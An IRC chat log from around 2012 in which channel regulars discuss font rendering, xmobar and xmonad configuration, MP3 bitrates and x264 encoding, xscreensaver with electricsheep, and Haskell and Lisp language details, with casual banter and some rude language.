01:07:16 <Sgeo_> That it exists. That it can be illegal to redistribute stuff, even if it's not immoral.
01:07:30 <elliott> No, I'm actually delusional.
01:07:34 <kallisti> elliott: I'm assuming it's a filter thigny that makes the stuff better on the liquid crystals?
01:07:36 <elliott> Everything is legal apart from killing pigs.
01:08:06 <elliott> kallisti: The rgba setting is what turns on subpixel (= LCD) rendering. The lcdfilter is just a parameter.
01:08:23 <elliott> See http://www.freetype.org/freetype2/docs/reference/ft2-lcd_filtering.html if you must know the details.
01:08:52 <Sgeo_> elliott, read the thread I linked?
01:09:13 <kallisti> elliott: recommendations on console font? I'm about to switch to Inconsolata (which is the font in my xmobar)
01:09:19 <elliott> Sgeo_: I read about three posts. Is the rest relevant or interesting?
01:09:34 <elliott> kallisti: I use the default. Inconsolata isn't very good with Freetype IMO.
01:09:52 <elliott> kallisti: Get hinting + subpixel working before changing.
01:09:58 <Sgeo_> elliott, it starts getting dumb about 5 posts in.
01:10:00 <elliott> It'll look different enough that you might change your mind.
01:11:45 <elliott> Screenshot? (For important science reasons. Also if you included Firefox with web page text that would be helpful.)
01:12:03 <elliott> Sgeo_: "I seriously doubt the legality of your statements." What an idiot, hasn't he heard of the FIRST AMENDMENT?
01:13:03 <Sgeo_> That I assume is just poor phrasing on his part.
01:13:17 <Sgeo_> I assume he meant to say legal correctness
01:13:30 <kallisti> http://dl.dropbox.com/u/16495819/2012-03-04_20-12-50_1366x768.png
01:14:06 <kallisti> you didn't really specify what kind of website
01:14:21 <elliott> Yes, that looks correct. Including the objective matter of which website to choose.
01:14:45 <elliott> Hmm, some colour fringing on one or two pieces of text on the site, but I assume it's due to the size and background; looks correct to me.
01:14:45 <kallisti> I'm noticing that inconsolata actually looks kind of weird now.
01:14:55 <elliott> kallisti: Actually xmobar has looked like that the entire time.
01:14:59 <elliott> It seems to be ignoring your settings in general.
01:15:12 <elliott> http://dl.dropbox.com/u/16495819/2012-03-04_19-36-26_1366x768.png
01:15:13 <elliott> http://dl.dropbox.com/u/16495819/2012-03-04_20-12-50_1366x768.png
01:15:29 <kallisti> ...this convenient screen shot may be a bad idea
01:15:30 <elliott> It does have quite awful colour fringing. I think that's due to the size it's at.
01:15:34 <kallisti> as elliott is going to compile a record of my screens
01:15:38 <kallisti> http://dl.dropbox.com/u/16495819/2012-03-04_20-12-50_1366x768.png
01:15:46 <kallisti> so I have this habit of middle clicking links
01:15:48 <elliott> THANKS HADN'T SEEN THAT ONE.
01:16:03 <elliott> kallisti: You can set rxvt up to open those in a browser.
01:16:06 <elliott> (What terminal are you using?)
01:16:09 <elliott> (If it's not urxvt, it's wrong.)
01:16:17 <kallisti> terminator has fancy link stuff
01:17:10 -!- pikhq has quit (Ping timeout: 245 seconds).
01:17:14 <kallisti> maybe I have to add something to xmobar config?
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01:17:31 <kallisti> http://sprunge.us/EYXN?haskell
01:17:50 <elliott> I don't really know anything about xmobar configuration.
01:17:59 <kallisti> it uses some obscene pseudo-Haskell record syntax
01:17:59 <elliott> I'd just change the font to Mono. :p
01:18:21 <elliott> As in, I believe it does the same trick as xmonad.
01:18:22 <kallisti> I mean it's not an actual Haskell program obviously.
01:18:37 <elliott> It's a Haskell expression.
01:18:41 <kallisti> and it gives shitty parsec-like errors
01:18:43 <monqy> made to look like haskell
01:18:55 <elliott> dzen2's configuration is... okay, not any better, but less tacky.
01:19:04 <elliott> kallisti: Why not just use xmonad's xmobar module?
01:19:23 <elliott> Wait, it doesn't have one.
01:19:26 <kallisti> what is this i am bad at computer
01:19:47 <kallisti> I'll ask #xmonad about the font stuffs.
01:20:10 <elliott> xmonad is unrelated to xmobar.
01:20:15 <elliott> Don't spam some random other channel.
01:20:25 <kallisti> #xmonad helps people with all sorts of things
01:20:29 <kallisti> including things completely unrelated to xmonad
01:20:35 <kallisti> like how to get a display manager working.
01:20:35 <elliott> Anyway, it looks like it's actually using the same settings as your real settings now.
01:20:45 <elliott> It's just colour fringing badly because of the font and size.
01:21:03 <kallisti> Courier perhaps? I like courier....
01:21:24 <elliott> kallisti: Just put "Mono" there and it'll use the same as your terminal.
01:21:30 <elliott> Don't use Courier. You probably don't even have Courier.
01:21:45 <kallisti> I installed something that looked like it would have courier.
01:21:49 <elliott> (Except it should be xft:Mono:size=9.5.)
01:21:57 <elliott> Or, wait, is one in pt and the other px.
01:22:02 <elliott> Gah, it's too late for this crap.
01:22:08 <elliott> kallisti: Courier New, probably.
01:22:52 <elliott> The naming of ridiculous fonts can now end, as I've taken it to the fixed point.
01:23:01 <kallisti> dude goudy old style isn't ridiculous.
01:24:08 <kallisti> that will complement my dark theme (and soul)
01:24:45 <kallisti> I think I'll write my next paper in Zapfino
01:25:54 <elliott> Sgeo_: I like the resolution, where the guy admits he's wrong on an argument that hinges on SA's irrelevant paywall.
01:26:13 <elliott> A good twist ending to a fine comedy.
01:27:02 <elliott> 72 point Impact is the typeface of a generation.
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01:27:27 <zzo38> Do you write neatly?
01:28:51 <kallisti> elliott: is there a way to configure xscreensaver to make it look less shitty?
01:29:05 <elliott> But just don't use a screensaver.
01:29:15 <kallisti> the about window that pops up on startup gives me flashbacks of Windows 95
01:29:40 <elliott> It's jwz, man. The flashback you're looking for is Netscape 3.
01:30:01 <kallisti> or I guess I should say: is there a better screensaver / lock thing
01:30:19 <elliott> I don't think anyone uses anything other than xscreensaver for screen saving. For locking, sure.
01:30:28 <olsner> I've never seen xscreensaver pop up a window on startup
01:30:30 <elliott> There's xlock, or slock (http://tools.suckless.org/slock).
01:30:47 <olsner> (if you've seen it, you must be doing it wrong)
01:31:21 <kallisti> I see no options to "remove obnoxious about screen"
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01:34:00 <elliott> pikhq_: So how goes musl C++?
01:37:53 <pikhq_> elliott: 0.9.0 should support C++, current git basically works.
01:38:28 <pikhq_> Current work is convincing LLVM devs to not try to use std{in,out,err} as lvalues.
01:39:11 <kallisti> elliott: let's say in the future I want to completely move this setup to a new Debian install...
01:39:21 <kallisti> would it be insane to copy root into the new install?
01:39:41 <elliott> If you copied /, you'd be copying... the entire installation.
01:39:45 <elliott> Thus making it not a "new Debian install" at all.
01:39:56 <elliott> Why would you want a new Debian install?
01:39:58 <kallisti> like, say I have a new computer.
01:40:04 <kallisti> and I want all of this stuff exactly the same
01:40:05 <pikhq_> (C spec requires that those be macros that evaluate to a value of type FILE*, musl defines them as FILE* const variables and #define stdin (stdin))
01:40:14 <elliott> kallisti: Oh. That would be unwise.
01:40:39 <kallisti> elliott: so... copy every config file over by hand on the new system? sounds fun.
01:40:45 <elliott> kallisti: You can copy over non-dotfiles in ~, and important dotfiles (xmonad.hs, whatever xmobar's is called, .Xresources, .xsession, emacs config, etc.) individually.
01:40:51 <Friendship> <pikhq_> Current work is convincing LLVM devs to not try to use std{in,out,err} as lvalues. // wut
01:40:58 <elliott> kallisti: Don't copy everything, just important stuff.
01:41:12 <elliott> kallisti: You can keep dotfiles you care about in a $VCS repository and put it on GitHub or whatever.
01:41:15 <pikhq_> Friendship: Yes, they're morons and think that they can use them as lvalues.
01:41:20 <elliott> Then it's easier to use multiple machines.
01:41:29 <pikhq_> Which kinda-sorta works on glibc.
01:41:56 <kallisti> I'm just likely to forget what all I've configured.
01:42:20 <pikhq_> Testing hasn't been *extensive* of musl's C++ support as yet, but it sure seems to work.
01:42:25 <elliott> kallisti: You can put parts of /etc in a repo too.
01:42:27 <pikhq_> cmake has been built, for instance.
01:42:35 <elliott> kallisti: But most of them you'd want to maintain as essentially diffs.
01:42:58 <elliott> Things like local.conf could be copied wholesale, but modifying existing configs = you don't want to overwrite newer versions with that.
01:43:14 <kallisti> elliott: also I discovered mpd.
01:43:23 <kallisti> I don't know if you've ever used it.
01:43:35 <elliott> I think I preferred xmms2 architecture-wise, but I forget why.
01:43:36 <pikhq_> elliott: Not been tested just because those require a lot of library building, and nobody's bothered hardcore distroing quite yet.
01:43:40 <kallisti> the nice thing is the network support, which I may utilize later once I have a functioning server.
01:43:42 <elliott> But I think I gave up on it for having less language support.
01:44:25 <elliott> kallisti: I doubt your connection can stream your files.
01:44:32 <elliott> Unless they're 128 kbps MP3s or something.
01:44:34 <pikhq_> Perhaps a more fruitful test would be Firefox.
01:44:39 <elliott> kallisti: So you'll need to double-encode.
01:44:45 <kallisti> elliott: I meant with like a VPS or a dedicated server or whatever.
01:44:47 <pikhq_> (which is mostly C++, but has no non-C++ dependencies, as far as I'm aware)
01:44:51 <kallisti> elliott: in the distant future.
01:44:56 <elliott> kallisti: Yes, I know exactly what you meant.
01:45:03 <elliott> You would have to connect to that and stream audio to your home computer.
01:45:15 <elliott> This would be unviable unless you have either a very good connection, or are willing to double-encode them.
01:45:24 <elliott> It's designed for LAN use.
01:45:44 <elliott> (Also mpd has no native support for streaming the audio itself to the network.)
01:45:50 <elliott> (You'd have to run icecast separately.)
01:45:57 <elliott> It supports network _control_, that's all.
01:46:47 <kallisti> hm, I thought you could configure clients to network stream.
01:47:27 <elliott> You could point the server at an icecast backend, I think it supports that.
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01:47:33 <elliott> But you'd have to set up icecast yourself.
01:47:49 <elliott> And I think transcoding would be required unless absolutely everything you have is an MP3.
01:48:08 <kallisti> I converted everything to MP3 a long time ago to conserve disk space on my laptop.
01:48:19 <kallisti> in hindsight probably should have gone with ogg.
01:49:18 <elliott> You transcoded everything to MP3?
01:49:25 <elliott> I explicitly told you you were a fucking moron beforehand.
01:49:31 <kallisti> with lossless codecs my music collection is basically too big for my 300GB HDD.
01:49:44 <elliott> You transcoded non-lossless things too, I believe.
01:50:05 <elliott> Anyway, I was under the impression that you owned a 1 terabyte external disk.
01:50:17 <kallisti> and so it's less of a problem.
01:50:34 <kallisti> DRASTIC TIMES CALL FOR DRASTIC MEASURES, ELLIOTT
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01:51:08 <kallisti> otherwise my music library would have creeped to a standstill.
01:52:17 <kallisti> actually I have a lot of poor quality audio files that I need to replace.
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01:52:30 <kallisti> (by poor I mean less than 300 kbps of course.)
01:53:18 <kallisti> (actually that's a bit extreme. less than 200)
01:53:45 <elliott> kallisti: A constant bitrate 200 kbps MP3 has a very good chance of being worse than an MP3 that averages 160.
01:54:00 <elliott> Because it indicates it's either old, or the encoder has no idea how to use LAME effectively.
01:54:07 <elliott> The VBR presets are a reason.
01:54:20 <elliott> The encoding community is full of a bunch of superstition (e.g. hating joint stereo because they don't understand it).
01:54:29 <kallisti> I have some files that are like.... 96 kbps
01:55:01 <kallisti> the <300 thing was a joke, the <200 thing was slightly less of a joke
01:55:28 <kallisti> but is it objectively worse to have a constant bitrate higher than 160?
01:55:32 <kallisti> like... that doesn't make sense to me.
01:56:06 <kallisti> assuming that the VBR presets were done correctly.
01:56:18 <elliott> No, not inherently, it is merely an indicator.
01:56:34 <elliott> Also, consider when you have a constant bitrate of 161, but a VBR preset averaging 160 would have gone to 220 for a certain amount of time.
01:56:53 <kallisti> yeah I didn't factor in that it was VBR.
01:57:17 <kallisti> which actually means something like "better than this number" but to what degree I don't really know.
01:57:43 <elliott> I don't know what you mean by "better than this number".
01:58:33 <kallisti> well I was basing this decision to replace some of my audio files on the little "bitrate" number that rhythmbox shows.
01:59:01 <elliott> It probably just divides the length of the song by the size of the audio data or such.
01:59:16 <kallisti> well, that would kind of be the average right?
01:59:16 <elliott> ...also known as the average, are you thick?
02:00:24 <kallisti> I'm not sure how to articulate what I meant
02:00:34 <kallisti> basically I don't know how to reason about the quality of a VBR based on its average bitrate.
02:01:12 <kallisti> but, you could think of a VBR with some average bitrate x, as being "slightly better" than something with a constant bitrate of x.... right?
02:01:26 <elliott> But anything with a sufficiently low average that isn't minimalist music or acapella something will likely be crap.
02:01:28 <kallisti> since they both have the same average.
02:01:42 <elliott> I'd just trash crap as and when I play it and hear that it is crap.
02:02:08 <kallisti> ...actually I don't have a good stereo system so I'm likely not going to hear much of a difference.
02:02:13 <kallisti> I'll let you know when I get my epic sound system
02:02:38 <elliott> 128 kbps on LAME since years ago is transparent to most people.
02:02:50 <elliott> 160 kbps should be transparent to just about everyone.
02:03:00 <elliott> Distinguishing 192 kbps from the real thing requires incredibly pathological samples.
02:03:17 <elliott> If something's 128 kbps it's probably done with really old LAME though, so there's that.
02:08:02 <shachaf> ~1 bps is transparent for me.
02:08:13 <pikhq> And if you think the *audio* encoding community is bad, wait till you see the video encoding community!
02:08:58 <pikhq> I've seen people use --crf 13 to encode and then use the resulting average bitrate from *that* as the target bitrate for a 2-pass encode.
02:10:29 <Friendship> I absolutely need a constant bitrate ... but I don't care what.
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02:11:25 <pikhq> elliott: x264 has 3 types of encodes, 1 pass, 2 pass, and CRF. The CRF type is a "constant quality" type of thing, similar to LAME's presets.
02:11:53 <elliott> So they use a preset and then throw away all the additional intelligence from the preset???
02:12:08 <elliott> To smooth out the imperfections, right?!?!
02:12:24 <pikhq> --crf 23 is pretty good, --crf 19 will look transparent for most everything, and --crf 13 gets you 1GiB 720p encodes of 20 minute episodes.
02:12:51 <Friendship> --crf 1 is actually larger than a directory full of uncompressed .tiffs.
02:13:04 <elliott> . o O ( Why does Friendship know about video encoding? )
02:13:16 <ion> I take it CRF uses two passes?
02:13:18 <pikhq> Friendship: Actually, no, that hits x264's lossless encoding mode.
02:13:19 <Friendship> You realize I'm spouting bullshit, right?
02:13:35 <elliott> Friendship: I thought you had actually measured it.
02:13:58 <Friendship> My knowledge of video encoding is exactly up to what's necessary to occasionally upload something to YouTube.
02:14:08 <pikhq> It gets worse. In x264, CRF and 2 pass mode are almost identical. CRF just plugs in a constant where 2 pass mode computes a value from the 1st pass.
02:14:23 * shachaf likes monotonic bit rates.
02:15:01 <pikhq> Oh, sorry, I should also specify. 1GiB 720p encodes of 20 minute *anime* episodes.
02:15:14 <shachaf> pikhq: How can the video encoding community be worse than the audio encoding community?
02:15:28 <pikhq> (anime encodes stupidly well with x264)
02:15:28 <elliott> Anime has shallower plots than American media, so it compresses better.
02:15:40 <shachaf> I have no idea what audio is. Video makes sense, at least.
02:15:49 <pikhq> elliott: Animation in general compresses well, due to the reduced movement.
02:15:56 <elliott> No, it's definitely the plot.
02:16:19 <elliott> (Surely it's the simplicity of the image detail compared to RL, too?)
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02:16:37 <pikhq> Friendship: Actually, if it was porn, it'd be encoded to standards appropriate to 2000.
02:17:16 <pikhq> elliott: Actually, if anything that's a bit harder.
02:17:41 <pikhq> Friendship: Not scene releases!
02:17:52 <pikhq> Friendship: They use Xvid!
02:18:04 <elliott> Friendship: Can you tell by the pixels?
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02:18:23 <Friendship> elliott: And having seen a lot of porn in my day.
02:18:43 <pikhq> ... Put in RARs, split at 100MiB.
02:19:32 <pikhq> With a target *filesize* of 350MiB per episode.
02:20:11 <pikhq> (so you can back up your downloads on CDR)
02:40:39 <Sgeo_> Anyone know what language it is? The moron in #lisp who posted it thinks its Smalltalk, but that makes no sense.
02:40:40 <Sgeo_> http://paste.lisp.org/display/128148
02:43:38 <elliott> i'll answer if you paste an irc log :P
02:45:26 <Sgeo_> http://pastie.org/private/8nasfxrmidggvcyts3yna
02:45:39 <Sgeo_> Although I don't need the answer, my confidence that it is Ruby is high
02:45:48 <Sgeo_> <vortixo> it is smalltalk!
02:46:09 <elliott> it's almost-valid Ruby (needs a "proc" or "lambda" before the {); I think there's also a embedded scripting language that nicks the lambda syntax from Ruby in which it might be fully valid
02:46:35 <elliott> <maxm-> probably asked on #haskell and they trolled him to come here
02:47:13 <elliott> Sgeo_: Anyway, {} is array literal in many Smalltalks, I think.
02:47:19 <elliott> And || declares local variables, not arguments.
02:47:24 <elliott> I doubt his code is even syntactically valid.
02:47:51 <elliott> I wonder if it's the same Fare.
02:49:53 <Sgeo_> (Ok, I shouldn't make fun of that)
02:51:07 <Sgeo_> elliott, he is calling syntax "sintaxis"
02:51:15 <Sgeo_> (The conversation is ongoing)
02:54:17 <elliott> oerjan: did you notice that guy archiving a talk page after only one section and a few days...
02:54:17 <oerjan> top of the morning to you
02:54:34 <oerjan> yes. and he didn't even use your superb archiving system.
02:55:29 <elliott> which makes it harder for me to revert it
02:55:35 <elliott> and impossible for non-admins :P
02:55:58 <elliott> he also edited my comment before reverting that.
02:56:09 <elliott> i have half a mind to block him for reminding me of dagoth ur
03:00:23 <oerjan> well his language is better designed than _that_. just not very innovative or usable.
03:01:07 <elliott> yes, it's the non-language behaviour :P
03:02:17 <oerjan> i suppose he did add conditionals and looping after you asked
03:02:51 <elliott> yes. and helpfully striked out parts of my comment as he added them.
03:05:21 <Jafet> * elliott is now known as nerevarine
03:19:32 <Sgeo_> elliott, new paste from the person: http://paste.lisp.org/display/128149
03:20:43 <Sgeo_> <vortixo> it is a programming language called supercollider
03:20:43 <Sgeo_> <vortixo> it is based on smalltalk
03:21:32 <elliott> Sgeo_: i demand a complete log :'(
03:22:36 <Sgeo_> http://pastie.org/private/h1uxbqpnrur7yarkxbupa
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03:30:55 <elliott> Ah, yes, it's the same Fare.
03:31:06 <kallisti> xscreensaver has pretty cool screensavers
03:31:11 <kallisti> I wish it had an electricsheep plugin or something.
03:31:48 <elliott> I believe you can run arbitrary programs as hacks, though I'm not sure.
03:32:29 <elliott> I mean use the electricsheep executable as a hack.
03:32:46 <elliott> xscreensaver screensavers are called hacks
03:32:54 <elliott> sudo apt-get install electricsheep gets you a program
03:33:03 <elliott> "It should configure itself to be your screensaver, but you can also run it from the command line just by typing "electricsheep". You can also use "electricsheep-preferences" to configure it."
03:33:09 <elliott> So it might even work with xscreensaver, going based on "configure itself"
03:33:41 <kallisti> considering I already have electricsheep
03:33:49 <kallisti> maybe it's in xscreensaver-demo and I missed it or something
03:34:48 <elliott> You could just combine electricsheep and a lock program.
03:35:05 <kallisti> ...well, I like xscreensaver screen savers too
03:36:08 <elliott> I think there are programs that rotate a series of other programs to be screensavers and lock; you could rotate a non-locking xscreensaver and electricsheep.
03:36:16 <elliott> Although electricsheep would run a lot more often than each individual hack, obviously.
03:36:55 <kallisti> also that would fix the problem that I don't like xscreensavers lock window. :>
03:37:58 <elliott> http://www.jwz.org/xscreensaver/toolkits.html
03:38:26 <kallisti> I suspected xscreensavers man page might be lacking in details.
03:38:43 <elliott> http://www.jwz.org/xscreensaver/faq.html
03:40:56 <kallisti> "Where does the text for those silly quotes come from" heh
03:41:44 <ion> electricsheep doesn’t work with xscreensaver despite coming with /usr/share/xscreensaver/config/electricsheep.xml?
03:42:45 <kallisti> I just can't find the option to turn it on.
03:43:42 <ion> I’ve only used it with gnome-screensaver, it’s been like 10 years since i used xscreensaver directly. I’m afraid i’m of no help.
03:44:04 <kallisti> I probably just need to configure electricsheep or something.
03:44:52 <kallisti> there's a "video driver" option that's currently blank.
03:44:56 <kallisti> I have no clue what it wants there.
03:45:59 <ion> It’s an optional parameter to mplayer, it can be left blank.
03:46:39 <elliott> kallisti: Are you sure it's not listed in xscreensaver-demo?
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03:47:10 <kallisti> (still getting used to "focus follows mouse")
03:47:52 <ion> Here’s a hack that downloads all the sheep (gigabytes of stuff) from archive.org somewhat quickly. It was a one-shot program, so it has my home directory hardcoded. https://gist.github.com/1369649
03:47:54 <kallisti> assuming it's named something sensible like "Electric Sheep". yes. let me scroll through the whole list.
03:48:14 <elliott> kallisti: You can use focus-follows-click with xmonad.
03:48:21 <kallisti> elliott: not sure if I want to.
03:48:32 <kallisti> I just accidentally type things in other windows due to not being accustomed to it.
03:48:50 <ion> elliott: HXT made me do it. :-(
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03:49:29 <ion> Also, dunno whether it has suffered from bitrot during the past few months.
03:50:32 <elliott> Hmm, for xscreensaver all i had to do was to add this line to my ~/.xscreensaver, right below "programs:"
03:50:32 <elliott> to make it appear in xscreensaver-demo
03:50:48 <elliott> <ion> electricsheep doesn’t work with xscreensaver despite coming with /usr/share/xscreensaver/config/electricsheep.xml?
03:50:52 <elliott> these xml configs might be a gnome thing or something.
03:50:58 <elliott> Since it has its own configumarator.
03:51:03 <ion> Huh, interesting
03:51:11 <elliott> i can't see jwz using xml :)
03:51:21 <elliott> in preference to mork perhaps :P
03:51:54 <ion> I wouldn’t put it past them to shove their stuff in /usr/share/xscreensaver. :-P
03:51:59 <kallisti> what the heck kind of line seperator is \n\
03:52:32 <kallisti> all the program entries have it.
03:52:51 <ion> \bar" == "foobar"
03:53:07 <ion> Oh, not Haskell?
03:54:23 <ion> I faintly remember the xscreensaver config file having a weird syntax.
03:54:51 <kallisti> yes all the program entries end with \n\
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04:00:38 <oerjan> kallisti: well that is a natural way of doing it in some languages
04:01:07 <oerjan> \n for the newline and \ for line continuation
04:01:37 * oerjan cannot really believe kallisti doesn't know that.
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04:05:48 <kallisti> sure, I know about those two things. but they don't make any sense put together in this context.
04:07:20 <elliott> well if all settings are one line...
04:07:28 <elliott> would be how you do a three-line setting
04:08:10 <kallisti> man electric sheep is so cool.
04:08:13 <kallisti> I could stare at it for hours.
04:22:37 <Sgeo_> http://paste.lisp.org/display/128150 I feel like this is ugly somehow
04:26:17 <kallisti> probably because of all the lisp.
04:26:47 <kallisti> but there are different ways to look for beauty in code.
04:27:05 <kallisti> a lot of Lisp code is beautiful for its structure.
04:27:24 <kallisti> and not quite so much because of the arrangement of syntax.
04:27:43 <kallisti> ...though the huge expansion on the arithmetic stuff looks kind of weird. you probably don't need that much indentation there.
04:28:44 <kallisti> like the (- (* b b) (* 4 a c)) could be on one line
04:29:02 <kallisti> also, no exponentiation operator?
04:30:13 <Sgeo_> I don't know it offhand and was lazy
04:30:49 <kallisti> assuming this is common lisp I think it's expt
04:32:09 <kallisti> but yeah anyone in the habit of reading lisp isn't going to need that much indentation on the arithmetic
04:34:38 <kallisti> makes these occasional audible clicks
04:34:53 <kallisti> it seems louder than it should be
04:34:56 <kallisti> since usually it's pretty silent
04:35:01 <kallisti> any idea what that's all about?
04:35:04 <oerjan> kallisti: hey mine too. i think.
04:35:48 <oerjan> two clicks just since i said that.
04:36:10 <oerjan> i probably should make another backup soon, it's been a few years.
04:36:27 <kallisti> I make a backup like every few weeks....
04:36:52 <kallisti> I think I'll make that a thing.
04:37:03 <oerjan> (anything interesting ends up in my web directory on nvg servers anyway.)
04:37:13 <kallisti> yeah I only have this laptop atm.
04:37:26 <kallisti> has all of my work source code.
04:37:35 <kallisti> I guess I could use GitHub or something.
04:37:41 <elliott> kallisti: yes, that's worrying
04:39:10 <kallisti> and, being the perfect human being I am, there's no way I could misconfigure my Debian installation and horribly destroy everything on the file system.
04:43:41 <kallisti> elliott: someone was trying to tell me that I could take root from my virtual box installation of Debian, and replace everything on my Ubuntu partition with it.
04:43:53 <kallisti> ....and I was pretty sure that wouldn't work.
04:44:07 <kallisti> (re: the thing about "copying root" earlier)
04:44:32 <kallisti> I mean, it could work, but there's so many ways it could go wrong.
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04:47:42 <elliott> kallisti: yeah it's just not a good idea
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04:50:04 <kallisti> hm, does virtualbox use special drivers?
04:50:07 <kallisti> or does it emulate other drivers?
04:52:07 -!- PiRSquared has changed nick to USERHOST.
04:52:41 * Sgeo_ would like to use XenClient on his computer.
04:54:10 <oerjan> it had been more years than i thought...
04:54:21 <Sgeo_> Instead of Common Lisp?
04:55:02 <Sgeo_> I took a Perl class once.
04:55:08 <Sgeo_> I don't think I want to touch it again.
04:55:29 <kallisti> I don't even know how you would go about teaching someone perl.
04:56:02 <kallisti> they probably skip to OO quickly or something
04:56:11 <elliott> oerjan: how many years was it TELL ME
04:56:40 <kallisti> Sgeo_: but no perl's good man. I promise.
04:56:52 <kallisti> official kallisti approval stamp.
05:01:06 <elliott> oerjan: you last backed up in 5 CE? wow.
05:01:46 <elliott> if you said 5, I would have said the exact same thing
06:00:33 -!- MDude has changed nick to MSleep.
07:16:12 <kallisti> electricsheep is dumping .avis into my home directory
07:16:17 <kallisti> there's some in .electricsheep as well.
07:16:46 <kallisti> by default firefox's download setting for zip files is to unzip them automatically
07:19:10 <kallisti> elliott: uh, what is the topic from.
07:22:04 <monqy> it is a good topic
07:25:10 <zzo38> Just some questions; what things you disliked and/or would be designed differently by you, in Haskell?
07:25:24 <zzo38> (And other programming languages too)
07:26:15 <monqy> haskell not being perfect really frustrates me
07:26:29 <monqy> if i designed haskell differently, it would be less not perfect.
07:26:31 <Sgeo_> Is running forever really undefined behavior? Is running out of memory? You could make a language that does a defined-by-the-language thing upon hitting a memory limit. Also note that given a memory limit, something with more memory could determine whether it infinite loops or not.
07:27:03 <zzo38> monqy: Well, what, in your opinion, would be closer to perfect?
07:32:12 <pikhq_> Sgeo_: In what context are you referring to "undefined behavior"?
07:32:29 <pikhq_> Sgeo_: And please tell me that's a quote from someone else, or else I will hit you
07:32:47 <Sgeo_> pikhq_, response to topic?
07:33:59 <Sgeo_> Erm, as in my response
07:34:41 <pikhq_> Consider yourself hit.
07:40:02 <zzo38> OK, but not right now.
07:42:08 <elliott> (Deletion log); 07:41 . . Ehird (Talk | contribs | block) deleted "Talk:Basic Input/Output Commander/Archive 1"
07:42:08 <elliott> (diff | hist) . . Talk:Basic Input/Output Commander; 07:41 . . (+843) . . Ehird (Talk | contribs | block) [rollback]
07:45:14 <elliott> oerjan: i have this awful feeling i'm going to be considering the stux incident completely reasonable within months.
07:45:30 <oerjan> what was the stux incident again
07:46:16 <elliott> http://esolangs.org/wiki/User_talk:Stux#Incident
07:46:31 <elliott> (the "junk pages" were the year categories, now reinstated.)
07:48:15 <zzo38> Do you agree with me that blackjack is a single player game? (Although can also be played with multi players)
07:56:15 <elliott> oerjan: why doesn't GHC do polymorphic unpacking :(
07:56:42 <oerjan> because polymorphic functions don't get passed actual types
07:57:20 <oerjan> i _suppose_ it might be put in the GC data...
07:57:37 <oerjan> (the necessary size information)
07:57:45 <elliott> oerjan: well all it has to do is duplicate a type with unpacked polymorphic fields whenever it's used monomorphically
07:58:10 <elliott> oerjan: or heck, just turn it into a type family, and add an instance (with the same fields and all, just different constructor namse) whenever you give it a parameter it hasn't seen before
07:58:52 <oerjan> erm the point is you need there to be an actual polymorphic implementation in some cases...
07:59:20 <elliott> but this would work most of the time
08:01:41 <oerjan> you might want to ask an actual ghc implementor.
08:04:07 <elliott> oerjan: well, augustss has said that it's known how to do it, they just didn't bother.
08:06:56 <elliott> oerjan: i wouldn't be surprised if you could do it in all cases in haskell 98
08:07:29 <kallisti> elliott: I feel special. Today I taught an #xmonad regular that join (fmap f m) = f >>= m
08:08:35 <oerjan> elliott: you _can_ do newtype Fix t a = Fix (t (Fix t a)) in H98. i think that would be a problem...
08:09:40 <oerjan> hm that a looks unused. anyway.
08:10:27 <oerjan> (if t unpacks its type argument.)
08:11:24 <elliott> oerjan: point. well, you can go simpler than that
08:11:40 <elliott> otoh the simpler could recognise that Void is 0 bytes and solve the equation ;)
08:12:06 <elliott> newtypes are _already_ unpacked.
08:12:07 <oerjan> elliott: yes, my point is you could make a generic Fix and pass it a t which is independently defined to be unpacked.
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08:14:43 <kallisti> elliott: so there's some work going on to make the xmobar config into a compiled Haskell program rather than a parsed format.
08:14:55 <kallisti> and to in general improve the features.
08:15:23 <kallisti> for one it would be nice to work with dbus for things like a system tray and notifications.
08:15:31 <kallisti> instead of using trayer seperately.
08:16:02 <elliott> what the fuck is in your tray and why do you use it
08:16:56 <elliott> just don't add one for fuck's sake
08:17:36 <kallisti> dropbox would be good. nm-applet is nice.
08:17:56 <kallisti> ...uh, I'm sure there are others?
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08:18:46 <elliott> Why do you need a dropbox icon? And nm-applet is eternal pain and living hell.
08:18:55 <elliott> Well, NetworkManager in general is.
08:19:14 <Jafet> Get a desk job if you enjoy using trays
08:19:25 <kallisti> strong opinions on system trays here, I see.
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08:20:11 <Jafet> I use the Windows tray every few minutes
08:20:24 <Jafet> Because there are many Windows programs that make the tray useful
08:20:33 <kallisti> also indicators in general are a useful UI feature.
08:20:42 <Jafet> Gnome, on the other hand...
08:20:54 <kallisti> for example, why should I have a volume bar constantly on when I can have an indicator appear only when I'm changing the volume?
08:21:15 <kallisti> of course I can go without either (and currently am), but the visual feedback is nice.
08:22:05 <kallisti> as long as we're talking about necessary here...
08:22:06 <elliott> kallisti: You have the fucking current temperature on your bar!
08:22:12 <elliott> Replace that with the volume.
08:22:32 <kallisti> as long as we're talking about necessary here...
08:22:37 <kallisti> nothing on xmobar is necessary
08:22:42 <kallisti> all of the information can be derived from elsewhere
08:22:59 <elliott> Oh, no, just memory, CPU, network, and a really awful battery indicator.
08:23:23 <elliott> Anyway, the notification daemons all suck.
08:24:00 <elliott> Jafet: I find Gnome 2's tray much more useful than Windows'.
08:24:07 <elliott> Probably because Gnome 2 puts almost nothing in it.
08:24:34 <kallisti> elliott: ideally the battery indicator would only show AC when there's AC power
08:24:52 <kallisti> but the current xmobar doesn't have that in its default battery monitor. so I need to write the script to do it myself.
08:25:11 <elliott> If you're going to go to those lengths, just switch to dzen2 and use fizzie's thing: https://github.com/fis/dot-xmonad
08:25:14 <kallisti> it should only show time left when there's no AC power.
08:25:54 <elliott> Time left estimations are almost wrong
08:25:58 <elliott> Just display a percentage.
08:26:15 <kallisti> I think because my battery is broken
08:26:17 <kallisti> but I don't know why for sure.
08:31:26 <Jafet> elliott: the fact that you could remove it entirely also helped
08:39:48 <kallisti> elliott: I've been told that dzen is bad at right-aligning?
08:44:12 <zzo38> Is Fermat's Last Theorem provable in TNT?
08:45:50 <pikhq_> elliott: I don't think I would blame Windows for the tray being so cluttered.
08:46:02 <pikhq_> Out of the box, it's got hardly anything in it.
08:46:22 <pikhq_> Unfortunately, every single damned Windows dev seems to think their program is *special*.
08:46:56 <olsner> for some meaning of special that's probably true
08:47:14 <pikhq_> ... Aaand Windows comes out-of-the-box relatively sparse, so you install a lot of programs in the course of making it usable.
08:47:19 <zzo38> On my computer the only icon in Windows system tray is the volume icon
08:47:31 <pikhq_> zzo38: I am not even slightly surprised.
08:48:57 <elliott> <kallisti> elliott: I've been told that dzen is bad at right-aligning?
08:49:05 <elliott> fizzie figured out how! But the standard thing is just to run two of 'em.
